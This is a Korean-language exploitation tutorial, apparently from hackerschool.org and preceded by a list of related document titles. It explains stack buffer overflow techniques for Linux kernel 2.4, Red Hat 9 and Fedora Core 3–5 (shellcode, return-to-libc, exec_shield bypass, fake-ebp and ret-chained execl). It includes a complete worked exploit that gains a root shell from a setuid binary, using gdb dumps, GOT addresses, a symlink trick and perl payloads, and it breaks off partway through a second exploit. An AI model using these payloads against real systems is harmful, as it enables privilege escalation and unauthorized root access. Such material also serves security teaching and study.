Fedora Core 3,4,5 stack overflow.docx

Similar documents
hlogin2

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

Deok9_Exploit Technique

강의10

History

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

PowerPoint Template

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

<52544CC0BB20BEC6B4C2B0A12E687770>

RTL

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

Microsoft Word - FreeBSD Shellcode 만들기.docx

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

vi 사용법

PowerPoint 프레젠테이션

Return-to-libc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

hlogin7

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - readme.doc

Microsoft Word - FunctionCall

UDCSC Hacking Festival 2005

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다.

IDA 5.x Manual hwp

Adobe Flash 취약점 분석 (CVE )

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

PowerPoint 프레젠테이션

BMP 파일 처리

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

BOF Foundation.doc

슬라이드 1

untitled

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

BufferOverflow on Solaris Sparc

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

PowerPoint 프레젠테이션

No Slide Title

Smashing The Stack For Fun And Profit by Aleph One

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP st

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1

Microsoft PowerPoint - secu10.pptx

Execute_Shellcode_on_the_MacOSX.txt - 메모장

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈

PowerPoint 프레젠테이션

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

6주차.key

SRC PLUS 제어기 MANUAL

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Sena Technologies, Inc. HelloDevice Super 1.1.0

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - a8a.ppt [호환 모드]

11장 포인터

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost

Microsoft Word - MSOffice_WPS_analysis.doc

[8051] 강의자료.PDF

Microsoft PowerPoint - [2009] 02.pptx

리눅스 취약점대응방안권고 / KISA 취약점점검팀 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE 지정, 도메인네임을

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo

Microsoft PowerPoint - System Programming Lab Week1.ppt [호환 모드]

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

Linux Binary Hardening with Glibc Hyeonho Seo

Microsoft Word - ExecutionStack

MPLAB C18 C

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

how_2_write_Exploit_4_the_MSF_v3.x.hwp

/chroot/lib/ /chroot/etc/

Microsoft Word - MS_rshd_exploit.doc

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

various tricks for remote linux exploits v3.pptx

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우

Microsoft PowerPoint - chap06-5 [호환 모드]

금오공대 컴퓨터공학전공 강의자료

ISP and CodeVisionAVR C Compiler.hwp

Microsoft PowerPoint - lab14.pptx

Contents 1. 목적 풀이 Level

PowerPoint 프레젠테이션

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

Microsoft PowerPoint APUE(Intro).ppt

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

Frama-C/JESSIS 사용법 소개

Transcription:

Fedora Core 3,4,5 stack overflow - www.hackerschool.org - - by randomkid - +------------------------------ 목차 ----------------------------------+ 1. 스택오버플로우의역사 2. 커널 2.4 에서의 stack overflow 방법 (shellcode 기법 ) 3. 레드헷 9 에서의 stack overflow 방법 (RTL 기법 ) 4. 커널 2.6 에서 exec_shield 패치의이해 5. FC 에서의 stack overflow 방법 6. FC3 에서의인자참조원리를이용한 execl overflow 기법 (fake ebp) 7. FC4 에서의인자참조설명 8. FC4 에서의인자참조원리를이용한 ret execl overflow 기법 9. FC5 에서의 stack 방어메커니즘이해 (stack shield, guard) 10. FC5 에서의 stack 방어메커니즘우회공격기법 (ecx one byte overflow) +----------------------------------------------------------------------+ ==================================== *** 1. 스택오버플로우의역사 *** ==================================== 버퍼오버플로우는해킹기법이아닌단순한프로그램상의문제로처음소개되었는데 1973 년경 C 언어의데이터무결성문제로그개념이처음알려졌습니다. 이후 1988 년모리스웜 (Morris Worm) 이 fingerd 버퍼오버플로우를이용했다는것이알려지면서이문제의심각성이인식되기시작했으며, 1997 년에는온라인보안잡지로유명한 Phrack(7 권 49 호 ) 에 Aleph One 이 "Smashing The Stack For Fun And Profit" 란문서를게재하면서보다널리알려졌습니다. 이문서는다양한 " 버퍼오버플로우 " 공격을유행시키는계기가됐으며현재까지해커지망생들의필독문서로자리잡아오고있습니다. 이후 " 버퍼오버플로우 " 는 SANS(www.sans.org) 에서매년발표하는 TOP20 공격기법가운데상당수를차지하면서해커들의꾸준한사랑을받아오고있습니다. < 네이버블로그에서발췌 >

<stack> =============================================================== *** 2. 커널 2.4 에서의 stack overflow 방법 (shellcode 기법 ) *** =============================================================== <--- stack 의높은주소 환경변수 shellcode 2. NOP 코드를실행하면서환경변수에삽입된 shellcode 를실행하여 shell 을얻음!!!. ^ NOP NOP... +<--------------------------------------------------------------------+ ^. return address 1. ------- 리턴어드레스주소에 NOP 코드가있는 stack 주소를넣음.------ + base pointer(ebp) buffer <--- stack 의낮은주소 위그림은커널 2.4 에서 shellcode overflow 를해보신분이면쉽게이해가되실겁니다. 먼저순서를보면 shellcode 를환경변수에올려놓습니다. 그후 buffer 를넘치게하여 return address 주소를 NOP(0x90) 이있는 stack 주소로변조합니다. 그렇게되면프로그램의에필로그 ( 함수의종료어셈코드부분을의미합니다 ) 가실행이되면서공격자가변조한 return address 주소로프로그램흐름이바뀌게됩니다. 그후 NOP 코드를차례로실행하면서 stack 의높은주소로이동하게되고결국공격자가만든 shellcode 를실행하여 shell 을실행하게됩니다.

========================================================= *** 3. 레드헷 9 에서의 stack overflow 방법 (RTL 기법 ) *** ========================================================= 레드헷 9 에서는 stack overflow 공격에대항하기위해특별한방어메커니즘이적용되었습니다. 바로 random stack address 입니다. 말그대로 stack 의주소가 random 적으로바뀌는것을의미합니다. 그래서 shellcode 의주소를추측해야하는기존의방법으로는번거롭게되었습니다. 그런데 redhat 9.0 이나오기이전에재미있는 overflow 기법이나왔습니다. 바로 RTL(Return Into Libc) 기법입니다. 이기법은 Lamagra's OMEGA Project 라는이름으로발표되었는데 shellcode 없이 shell 을실행하는것을목적으로합니다. C 언어를코딩하다가보면이런함수를자주쓰실겁니다. printf, scanf, strcpy, malloc, free 등... 이함수들은사용자가정의하지않고도그냥쓸수있습니다. 이함수들을공유라이브러리함수라고하는데당연히메모리어딘가에해당함수의코드가있을것입니다. 이공유라이브러리함수중에서 shell 을수행할수있는함수를찾습니다. 대표적으로세가지만예로들겠습니다. system("/bin/sh"); execve("/bin/sh", 이중포인터,0); execl("/bin/sh",argument,0); 위함수는 C 언어공유라이브러리중에서 shell 을실행할수있는함수들입니다. #include <stdio.h> int main() { system("/bin/sh"); } 위의코드를실행하여 system 함수가실행이될때 stack 상의배치를보면다음과같습니다.

<system() 이실행된직후의 stack> <--- stack 의높은주소 &/bin/sh <- ebp + 8 return address system()'s ebp <--- stack 의낮은주소 위의그림을보시면 &system() 의 stack 위치에서 8 바이트위의 stack 상에있는포인터값을인자로받아서실행하는것을보실수있습니다. RTL 기법은 buffer 를넘치게하여 return address 의주소를 shell 을실행할수있는공유라이브러리함수로변조하고인자까지구성시키는방법입니다. RTL 기법의공격과정을보면다음과같습니다. < 공격전의 stack> < 공격후의 stack> <--- stack 의높은주소 &shell 실행프로그램명 2. 심볼릭링크를걸어서디렉토리에있는 shell 프로그램을실행시킴. <-----+ 변조된 4 바이트 return address libc 의 &system() 1.------ system 함수가실행을하여 8 바이트위의값을인자로참조함. ---- + base pointer 변조된 base pointer buffer buffer <--- stack 의낮은주소 < 공격후의 stack> 그림을보면 stack 의주소값을알수없어도 shell 실행이가능하다라는것을알수있습니다. random stack address 가적용된레드헷 9 에서이기법이먹혀들어간다는것을알수있습니다.

================================================== *** 4. 커널 2.6 에서 exec_shield 패치의이해 *** ================================================== shellcode, RTL overflow, formatstring 기법등여러가지 exploit 기법이발표되면서 exploit 을막는강력한방어메커니즘이요구되었습니다. 그후 exec_shield 를개발했습니다. exec_shield 의목적은모든가능한 exploit 에대항하는것입니다. 그럼 exec_shield 를살펴보도록하겠습니다. 위의그림을차례로설명해보겠습니다. 운영체제 < 레드헷 9> <Fedora Core's exec_shield> +--------------+ 비실행 stack X O +--------------+ 비실행 heap X O +--------------+ random stack O O +--------------+ random heap X O +--------------+ random libc X O +--------------+ libc address 16M 이상 16M 미만 +--------------+ 먼저비실행 stack 란을보도록하겠습니다. 비실행 stack 이란메모리영역중 stack 영역의코드를명령어로실행못하게하는패치를의미합니다. 레드헷 9 을보시면비실행 stack 이되어있지않으므로 stack 상에있는 shellcode 를실행할수있습니다. 하지만 FC(Fedora Core) 에서는비실행 stack 이적용되어있으므로 stack 상에있는 shellcode 를실행할수없습니다.

다음으로비실행 heap 란을보도록하겠습니다. 비실행 heap 이란메모리영역중 heap 영역에있는코드를명령어로실행못하게하는패치를의미합니다. 레드헷 9 에서는 heap 상에위치된 shellcode 를실행할수있지만 FC 에서는패치가되어실행이불가능하다는것을알수있습니다. random stack 은목차 3 에서설명하였으므로넘어가겠습니다. 그다음인 random heap 은말그대로할당된 heap 의주소값이 random address 라는것을의미합니다. random libc 는공유라이브러리가위치한메모리주소가 random 적이라는것을의미합니다. 마지막으로 libc address 란을보도록하겠습니다. libc address 는공유라이브러리의주소값을의미합니다. 레드헷 9 에서는 16M 이상이므로 4 바이트최상위한바이트주소값이 0x00 이아닙니다. 하지만 FC 에서는 16M 미만이므로 4 바이트최상위한바이트주소값이 0x00 이꼭들어갑니다.( 예 : 0x008962fc <- execve's libc address) 즉 0x00 을못넣는상황의 overflow 에서레드헷 9 에서는함수의연속호출이가능하지만 FC 에서는딱한번만호출할수있다는것을알 수있습니다. 이렇게공유라이브러리의주소에서최상위바이트가 0x00 인메모리영역을 "ASCII-Armor 영역 " 이라고합니다. 이모든패치내용을종합해보면기존의커널 2.4 에서통한 overflow 기법은커널 2.6 에서무용지물이라는것을확인할수있습니다. shellcode overflow 기법은 stack 상에 shellcode 를올려놓고 return address 를 stack 의위치로바꾸어공격하는기법인데커널 2.6(FC) 에서는 stack 의주소가 random 적일뿐만아니라 stack 상에있는코드를실행할수없게패치되었기때문입니다. 그럼 RTL 기법은어떻습니까? RTL 기법은 return address 의주소를공유라이브러리주소로바꾼다음원하는인자까지구성시켜주어서 shell 을실행하는기법입니다. 그런데커널 2.6 에서적용할려면첫번째난관이바로 random libc 주소입니다. 공유라이브러리의주소값이계속바뀌기때문에추측공격을할수밖에없고운이좋게주소값이맞아떨어져도주소값에아스키아머가걸려있기때문에 0x00 을못넣는환경에서는올바르게인자까지구성시켜줄수없습니다.

========================================== *** 5. FC 에서의 stack overflow 방법 *** ========================================== 목차 4 에서 FC 에서적용된 exec_shield 내용을이해하셨으면 exploit 이거의불가능해보일것입니다. 하지만불가능은없습니다. (^.^) 그럼 FC 에서어떻게 overflow 를해야하는지알아보겠습니다. 공유라이브러리가위치하는주소값을잘살펴보면비록 random 적으로주소값이바뀌지만 16M 이하의범위안에서 random address 이므로변하는 libc address 중하나를잡고계속실행하면생각보다쉽게매칭이되는것을확인할수있습니다. 즉우리가원하는공유라이브러리함수를호출하는것이가능하다는것을증명할수있는것입니다. return address 에공유라이브러리함수중딱한번호출해서 shell 을실행할려면어떤함수가좋겠습니까? 제가추천하는 exec family 함수중에서 execl() 입니다. 인자는다음과같이구성되어야합니다. execl(" 실행파일명 "," 인자 ",0); 인자는총 3 개로써마지막인자는 0x00000000 로끝나야합니다. 인자구성을시켜야하는데까다롭게되어있습니다. execl 의인자참조를세부적으로보면다음과같습니다. 커널 2.4 - FC3 까지인자참조는 ebp 를기준으로참조합니다. <execl() 실행후 stack> <---stack 의높은주소 0x00000000 <- ebp + 16 & 인자 <- ebp + 12 & 실행파일명 <- ebp + 8 return address &execl()'s ebp <--- stack 의낮은주소 overflow 를시킬때 return address 까지변조할수있다는의미는 ebp 부분도변조할수있다는것을의미합니다. 다시말하면 return address 를 execl 로바꿀수있을뿐만아니라인자위치도우리가원하는위치로변조할수있다는것입니다.

공격과정은다음과같게하면될것입니다. < 공격전의 stack> < 공격후의 stack> <--- stack 의높은주소 return address &execl+3 ebp execl 에맞는인자위치 - 8 buffer buffer <--- stack 의낮은주소 <execl>: push %ebp <execl+1>: mov %esp,%ebp <--- ebp 가변조되는어셈코드입니다. <execl+3>: lea 0x10(%ebp),%ecx return address 의주소값을 &execl + 3 으로한이유는함수프롤로그 ( 함수의시작어셈코드부분입니다 ) 를안하기위해서입니다. 프롤로그작업을수행하면우리가변조한 ebp 위치의인자를참조안하기때문입니다.

그럼 FC3 에서 stack overflow 를해보도록하겠습니다. ============================================================================= *** 6. FC3 에서의인자참조원리를이용한 execl overflow 기법 (fake ebp) *** ============================================================================= [randomkid@localhost vul]$ id uid=500(randomkid) gid=500(randomkid) groups=500(randomkid) context=user_u:system_r:unconfined_t [randomkid@localhost vul]$ ls -al vul -rwsr-xr-x 1 root root 4729 Feb 26 07:39 vul [randomkid@localhost vul]$ cat vul.c #include <stdio.h> int main(int argc,char**argv) { char buf[4]; strcpy(buf,argv[1]); } [randomkid@localhost vul]$ 위의과정을보시면알겠지만현재일반권한유저상태에서 root 의권한으로실행이되는프로그램이있습니다. 프로그램은 stack overflow 가가능하므로공격을하여 root shell 을얻도록하겠습니다. [randomkid@localhost vul]$ gdb -q vul (no debugging symbols found)...using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) disas main Dump of assembler code for function main: 0x08048368 <main+0>: push %ebp 0x08048369 <main+1>: mov %esp,%ebp 0x0804836b <main+3>: sub $0x8,%esp 0x0804836e <main+6>: and $0xfffffff0,%esp 0x08048371 <main+9>: mov $0x0,%eax 0x08048376 <main+14>: add $0xf,%eax 0x08048379 <main+17>: add $0xf,%eax 0x0804837c <main+20>: shr $0x4,%eax

0x0804837f <main+23>: shl $0x4,%eax 0x08048382 <main+26>: sub %eax,%esp 0x08048384 <main+28>: sub $0x8,%esp 0x08048387 <main+31>: mov 0xc(%ebp),%eax 0x0804838a <main+34>: add $0x4,%eax 0x0804838d <main+37>: pushl (%eax) 0x0804838f <main+39>: lea 0xfffffffc(%ebp),%eax 0x08048392 <main+42>: push %eax 0x08048393 <main+43>: call 0x80482b0 <_init+56> <--- strcpy 의 plt 위치 0x08048398 <main+48>: add $0x10,%esp 0x0804839b <main+51>: leave 0x0804839c <main+52>: ret 0x0804839d <main+53>: nop 0x0804839e <main+54>: nop ---Type <return> to continue, or q <return> to quit--- 0x0804839f <main+55>: nop End of assembler dump. (gdb) main() 을역어셈하여내부를보신결과입니다. 실제버퍼의크기가어떻게잡혀있는확인하기위해 strcpy 가수행된후의시점에서확인해보도록하겠습니다. (gdb) b *main+48 Breakpoint 1 at 0x8048398 (gdb) r AAAA Starting program: /home/randomkid/vul/vul AAAA (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x08048398 in main () (gdb) x/16wx $esp 0xfef054d0: 0xfef054f4 0xfef82bda 0xfef054f8 0x080483ba 0xfef054e0: 0x00000000 0x003dfff4 0x08049484 0x003dfff4 0xfef054f0: 0x00000000 0x41414141( 버퍼 )0xfef05500(ebp) 0x002d1e33(ret) 0xfef05500: 0x00000002 0xfef05584 0xfef05590 0x002afab6 (gdb)

위의결과를분석해보면... <stack> 0x002d1e33 <--- return address 0xfef05500 <--- ebp 0x41414141 <--- buffer 이렇게됩니다. 이제상대적인 return address 의크기를알아냈으니 execl 함수와인자로구성시켜줄메모리위치를뒤지면될것입니다. (gdb) p execl $1 = {<text variable, no debug info>} 0x346720 <execl> (gdb) x/8wx 0x8049564 <--- GOT 주소를미리준비했습니다. 0x8049564 <_GLOBAL_OFFSET_TABLE_>: 0x08049498 0x002ba4f8 0x002af9e0 0x002d1d50 0x8049574 <_GLOBAL_OFFSET_TABLE_+16>: 0x00324880 0x00000000 0x00000000 0x08049490 (gdb) execl 의인자로 GOT 주소가적당합니다. 이유는 GOT 주소의끝은항상 0x00000000 이기때문입니다. 그럼심볼릭링크를걸어줄값을알아보도록하겠습니다. (gdb) x/x 0x08049498 0x8049498 <_DYNAMIC>: 0x00000001 (gdb) 0x01 을심볼릭링크로걸어주면될것입니다. 그럼 shell 을띄우는프로그램을만들어보겠습니다. (gdb) q The program is running. Exit anyway? (y or n) y [randomkid@localhost vul]$ cat shell.c #include <stdio.h> int main() { printf("root in!!!\n"); setuid(0); system("/bin/sh"); } [randomkid@localhost vul]$

gcc 로컴파일을한다음... [randomkid@localhost vul]$ gcc -o shell shell.c 위에서확인한심볼릭링크를걸어줍니다. [randomkid@localhost vul]$ ln -s shell `perl -e 'print "\x01"'` 제대로되었는지확인을한번더합니다. [randomkid@localhost vul]$ ls -al `perl -e 'print "\x01"'` lrwxrwxrwx 1 randomkid randomkid 5 Feb 26 07:49? -> shell [randomkid@localhost vul]$ 공격코드는다음과같이넣어주면되겠습니다. <stack> <--- stack 의높은주소 0x00346723 <--- return address ( &execl + 3 ) 0x0804955c <--- fake ebp ( & 원하는인자위치 - 8 ) 0x41414141 <--- buffer <--- stack 의낮은주소 그럼공격을해보겠습니다.(random libc address 때문에반복적으로공격을해야합니다 ) [randomkid@localhost vul]$./vul `perl -e 'print "A"x4,"\x5c\x95\x04\x08","\x23\x67\x34"'` Segmentation fault [randomkid@localhost vul]$./vul `perl -e 'print "A"x4,"\x5c\x95\x04\x08","\x23\x67\x34"'` Segmentation fault [randomkid@localhost vul]$./vul `perl -e 'print "A"x4,"\x5c\x95\x04\x08","\x23\x67\x34"'` Root in!!! sh-3.00# id uid=0(root) gid=500(randomkid) groups=500(randomkid) context=user_u:system_r:unconfined_t sh-3.00# root shell 을얻었습니다. 위의공격과정에서중요한요점은 ebp 를기준으로참조하는인자원리를이용하여우리가원하는메모리위치로바꾸는것입니다.

====================================== *** 7. FC4 에서의인자참조설명 *** ====================================== fake ebp 를이용하여원하는인자까지구성시켜주는방법을알아차리고는 FC4 에서는인자참조방식을바꾸었습니다. 다음소스를보겠습니다. [randomkid@localhost vul]$ cat execve.c #include <stdio.h> int main() { char *shell[2]; shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0],shell,0); } [randomkid@localhost vul]$ 인자참조방식이어떻게바뀌었는지확인하기위해만든프로그램입니다. 그럼 gdb 로 execve 함수의인자참조방식이어떻게바뀌었는지보겠습니다. [randomkid@localhost vul]$ gcc -o execve execve.c [randomkid@localhost vul]$ gdb -q execve (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) b main Breakpoint 1 at 0x8048382 (gdb) r Starting program: /home/randomkid/vul/execve Reading symbols from shared object read from target memory...(no debugging symbols found)...done. Loaded system supplied DSO at 0xf18000 (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x08048382 in main () (gdb) disas execve Dump of assembler code for function execve: 0x002651ac <execve+0>: push %edi 0x002651ad <execve+1>: push %ebx

0x002651ae <execve+2>: call 0x1ecc60 < i686.get_pc_thunk.bx> 0x002651b3 <execve+7>: add $0x98e41,%ebx 0x002651b9 <execve+13>: mov 0xc(%esp),%edi <--- 첫번째인자 0x002651bd <execve+17>: mov 0x10(%esp),%ecx <--- 두번째인자 0x002651c1 <execve+21>: mov 0x14(%esp),%edx <--- 세번째인자 0x002651c5 <execve+25>: xchg %ebx,%edi 0x002651c7 <execve+27>: mov $0xb,%eax 0x002651cc <execve+32>: call *%gs:0x10 0x002651d3 <execve+39>: xchg %edi,%ebx 0x002651d5 <execve+41>: mov %eax,%edx 0x002651d7 <execve+43>: cmp $0xfffff000,%edx 0x002651dd <execve+49>: ja 0x2651e2 <execve+54> 0x002651df <execve+51>: pop %ebx 0x002651e0 <execve+52>: pop %edi 0x002651e1 <execve+53>: ret 0x002651e2 <execve+54>: neg %edx 0x002651e4 <execve+56>: mov 0xffffff1c(%ebx),%eax 0x002651ea <execve+62>: mov %edx,%gs:(%eax) 0x002651ed <execve+65>: mov $0xffffffff,%eax 0x002651f2 <execve+70>: pop %ebx ---Type <return> to continue, or q <return> to quit--- 0x002651f3 <execve+71>: pop %edi 0x002651f4 <execve+72>: ret 0x002651f5 <execve+73>: nop 0x002651f6 <execve+74>: nop 0x002651f7 <execve+75>: nop End of assembler dump. (gdb) 위의 execve 함수의어셈블러명령어를보면인자참조방식이 ebp 레지스터에서 esp 레지스터로바뀐것을알수있습니다. 모든실행함수가전부이와같은방식이적용이되어서더이상 fake ebp 를이용하는 stack overflow 공격은안통하게되었습니다.

======================================================================= *** 8. FC4 에서의인자참조원리를이용한 ret execl overflow 기법 *** ======================================================================= 인자참조가 ebp 에서 esp 로바뀌었으므로 esp 를핸들링하는것이관건이됩니다. 그럼어떻게 esp 를마음대로핸들링할수있겠습니까? 방법을말씀드리면간단합니다. 아스키아머가걸리지않는코드영역중에서 ret 명령어가들어간부분을찾습니다. 0x080483b1 <main+53>: ret 이런코드가되겠지요. 이코드를 return address 에넣으면어떻게될까요? stack 상의 4 바이트를 eip 에넣을것입니다. 그럼그다음코드에또 ret 코드가있다면? 도식화해서보면다음과같습니다. < 공격전의 stack> < 공격후의 stack> <--- stack 의높은주소 dummy 인자구성이된 &execl() dummy &ret 코드 &argv &ret 코드 argc &ret 코드 return address &ret 코드 ebp 변조된 ebp buffer buffer <--- stack 의낮은주소

위의그림을보면 &return address 에 ret 코드주소값을넣어서프로그램의흐름을 stack 을올리면서끌고가고있는것을볼수있습니다. 그리고마지막에 execl 함수를호출하게되는데물론이때 stack 상에배치된인자는 execl() 에맞는위치가되어야합니다. 그럼취약프로그램을공격해보도록하겠습니다. [randomkid@localhost vul]$ ls -al vul -rwsr-xr-x 1 root root 4675 May 24 06:01 vul [randomkid@localhost vul]$ cat vul.c #include <stdio.h> #include <string.h> int main(int argc,char**argv) { char buf[4]; strcpy(buf,argv[1]); } [randomkid@localhost vul]$ id uid=500(randomkid) gid=500(randomkid) groups=500(randomkid) context=user_u:system_r:unconfined_t [randomkid@localhost vul]$ uname -a Linux localhost.localdomain 2.6.11-1.1369_FC4 #1 Thu Jun 2 22:55:56 EDT 2005 i686 i686 i386 GNU/Linux 현재저는일반유저이고 root 의권한으로실행이되는프로그램이하나있습니다. 그프로그램은 stack overflow 가가능하고 Linux 버젼은 FC4 입니다. 공격과정은다음과같은순서로진행하겠습니다. 1. buffer 에서 return address 까지상대적인크기를구합니다. 2. ret 코드가있는주소값을알아냅니다. 3. 공유라이브러리 execl() 의주소값을알아냅니다. 4. return address 보다높은 stack 주소중에서 execl() 의인자로적당한위치를알아냅니다. 5. exploit 프로그램을심볼릭링크를걸어 ret + execl 로 stack overflow 를하여 root shell 을얻습니다. 그럼 gdb 로 return address 까지상대적인크기를구합니다.

[randomkid@localhost vul]$ gdb -q vul (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) disas main Dump of assembler code for function main: 0x0804837c <main+0>: push %ebp 0x0804837d <main+1>: mov %esp,%ebp 0x0804837f <main+3>: sub $0x18,%esp 0x08048382 <main+6>: and $0xfffffff0,%esp 0x08048385 <main+9>: mov $0x0,%eax 0x0804838a <main+14>: add $0xf,%eax 0x0804838d <main+17>: add $0xf,%eax 0x08048390 <main+20>: shr $0x4,%eax 0x08048393 <main+23>: shl $0x4,%eax 0x08048396 <main+26>: sub %eax,%esp 0x08048398 <main+28>: mov 0xc(%ebp),%eax 0x0804839b <main+31>: add $0x4,%eax 0x0804839e <main+34>: mov (%eax),%eax 0x080483a0 <main+36>: sub $0x8,%esp 0x080483a3 <main+39>: push %eax 0x080483a4 <main+40>: lea 0xfffffffc(%ebp),%eax 0x080483a7 <main+43>: push %eax 0x080483a8 <main+44>: call 0x80482c8 < gmon_start @plt+16> <--- strcpy 의 plt 주소 0x080483ad <main+49>: add $0x10,%esp 0x080483b0 <main+52>: leave 0x080483b1 <main+53>: ret 0x080483b2 <main+54>: nop ---Type <return> to continue, or q <return> to quit--- 0x080483b3 <main+55>: nop End of assembler dump. (gdb) b *main+49 Breakpoint 1 at 0x80483ad (gdb) r AAAA

Starting program: /home/randomkid/vul/vul AAAA (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x080483ad in main () (gdb) x/16wx $esp 0xbfd83580: 0xbfd835b4 0xbfd83be2 0xbfd83598 0x08048295 0xbfd83590: 0x003f2ff4 0xbfd83650 0xbfd835b8 0x080483ce 0xbfd835a0: 0x003f2ff4 0x00000002 0x00000000 0x003f2ff4 0xbfd835b0: 0x001d4ca0 0x41414141(buffer) 0xbfd83600(ebp) 0x002e1de6(return address) (gdb) 0xbfd835c0: 0x00000002 0xbfd83644 0xbfd83650 0xbfd83600 0xbfd835d0: 0x001c76d8 0x001d5878 0xb7f83690 0x00000001 0xbfd835e0: 0x003f2ff4 0x001d4ca0 0x080483b4 0xbfd83618 0xbfd835f0: 0xbfd835c0 0x002e1dab 0x00000000 0x00000000 (gdb) return address 의상대적인크기를알아냈으므로 ret 코드의주소값을구합니다. ret 코드주소는 main() 의 ret 코드로합니다.(0x080483b1) 그다음 execl() 의주소값을알아냅니다. (gdb) p execl $4 = {<text variable, no debug info>} 0x26545c <execl> (gdb) 다음으로 return address 보다높은 stack 주소중에서 execl() 의인자로적당한위치를알아냅니다. (gdb) x/32wx $esp 0xbfd83580: 0xbfd835b4 0xbfd83be2 0xbfd83598 0x08048295 0xbfd83590: 0x003f2ff4 0xbfd83650 0xbfd835b8 0x080483ce 0xbfd835a0: 0x003f2ff4 0x00000002 0x00000000 0x003f2ff4 0xbfd835b0: 0x001d4ca0 0x41414141 0xbfd83600(ebp) 0x002e1de6(return address) 0xbfd835c0: 0x00000002 0xbfd83644 0xbfd83650 0xbfd83600 0xbfd835d0: 0x001c76d8 0x001d5878 0xb7f83690 